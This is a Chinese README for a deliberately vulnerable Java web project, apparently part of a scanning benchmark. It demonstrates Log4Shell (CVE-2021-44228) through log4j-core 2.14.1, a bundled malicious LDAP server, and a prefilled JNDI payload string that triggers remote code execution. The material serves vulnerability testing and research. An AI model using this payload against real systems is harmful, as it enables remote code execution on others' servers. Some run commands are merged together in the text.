这是一个带有log4shell漏洞的简单Web项目。
该项目定义了一个简单的scabench.HelloWorldService获取服务,返回纯文本字符串hello world。
该服务不期望参数,如果遇到参数,则会记录错误。
存在漏洞的依赖项是org.apache.logging.log4j:log4j-core:2.14.1,漏洞为CVE-2021-44228。
这需要Unix或macOS。将该项目移植到Windows很容易。
提供了一个单元测试来演示漏洞。测试需要一个提供漏洞代码的LDAP服务器,相应的可执行文件由项目提供,该服务器定义在一个单独的项目https://github.com/jensdietrich/Log4J-RCE-Proof-Of-Concept中,基于https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept。
测试装置将处理LDAP服务器的启动和关闭。
测试将根据log4j连接的LDAP服务器代码中嵌入的编码命令创建一个文件foo(touch foo)。该服务器可被攻击者控制。
要运行测试,使用mvn test构建项目。
mvn jetty:runjava -jar dodgy-ldap-server.jar(漏洞代码将从该服务器下载Java代码)http://localhost:8080/,该站点包含一个预填表单,带有恶意载荷${jndi:ldap://127.0.0.1/exe}foo有几个sh脚本用于运行不同的分析,结果报告可在scan-results中找到。
pom.xml中有一个插件,用于生成SBOM格式(CycloneDX)。为此,运行mvn cyclonedx:makePackageBom,SBOM可在target/中找到,格式为json和xml。